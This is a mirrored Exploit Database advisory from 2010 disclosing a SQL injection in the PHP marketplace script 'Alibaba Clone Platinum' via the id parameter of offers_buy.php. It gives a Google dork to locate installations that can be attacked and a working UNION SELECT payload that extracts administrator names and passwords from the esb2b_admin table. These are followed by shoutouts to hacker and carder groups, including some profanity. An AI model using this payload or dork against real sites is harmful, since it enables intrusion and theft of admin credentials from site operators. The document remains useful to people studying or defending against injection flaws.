Alibaba Clone Platinum – ‘offers_buy.php’ SQL Injection

• Exploit Database
• 122 阅读

• 作者： v3n0m
  日期： 2010-04-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12468/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70

  ) )) ( ( ( (( ) ) ( /(( /( ( ( /(( (( )\ ))\ ))\ ))\ ) )\ ) ( /(( /( )\())\()))\ ))\()) )\)\ )\ (()/(()/(((()/(()/((()/( )\()) )\()) ((_)((_)\(()/( ((_)((((_)((((_)(((_)(/(_))(_)) )\/(_))(_))/(_))(_)\|((_)\ __ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))_((_)_ ((_) \ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \| \| __| _ \ ||_ _|| \| | |/ / \ V / (_) || (_ |\ V / / _ \| (__ / _ \ | /| |) | _|| / |__ | | | .` | &apos; < |_| \___/\___| |_| /_/ \_\\___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\ .WEB.ID ----------------------------------------------------------------------- Alibaba Clone Platinum (offers_buy.php) SQL Injection Vulnerability ----------------------------------------------------------------------- Author : v3n0m Site : http://yogyacarderlink.web.id/ Date : April, 30-2010 Location : Jakarta, Indonesia Time Zone : GMT +7:00 ----------------------------------------------------------------   Affected software description: ~~~~~~~~~~~~~~~~~~~~~~~~~~   Application : Alibaba Clone Platinum Vendor : http://www.alibabaclone.com/ Price : $699 USD Google Dork : allinurl:offers_buy.php?id= Overview :   B2B trading Marketplace Script clone of alibaba Marketplace script is a wonderful solution to launch your own business to business and b2c site. Script is packed with lot of features to provide a very sound foundation to your trading portal site. ----------------------------------------------------------------   Exploit: ~~~~~~~   -9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--     SQLi p0c: ~~~~~~~   http://127.0.0.1/[path]/offers_buy.php?id=[SQLi] ----------------------------------------------------------------   Shoutz: ~~~~   - &apos;malingsial banyak cakap, you skill off bullshit on&apos; - LeQhi,lingah,GheMaX,spykit,m4rco,z0mb13,ast_boy,eidelweiss,xx_user,^pKi^,tian,zhie_o,JaLi- - setanmuda,oche_an3h,onez,Joglo,d4rk_kn19ht,Cakill Schumbag - kiddies,whitehat,mywisdom,yadoy666,udhit - c4uR (ah payah c4uR dipeser cengeng bruakakaka) - BLaSTER & TurkGuvenligi & Agd_scorp (Turkey Hackers) - Chip D3 Bi0s & LatinHackTeam (Good Job & Good Research Brotha ;) - elicha cristia [ luv You...luv You...luv You... :) ] - N.O.C & Technical Support @office "except ahong (fuck you off)" - #yogyacarderlink @irc.dal.net ---------------------------------------------------------------- Contact: ~~~~   v3n0m | YOGYACARDERLINK CREW | v3n0m666[0x40]live[0x2E]com Homepage: http://yogyacarderlink.web.id/ http://v3n0m.blogdetik.com/ http://elich4.blogspot.com/ << Update donk >_<   ---------------------------[EOF]--------------------------------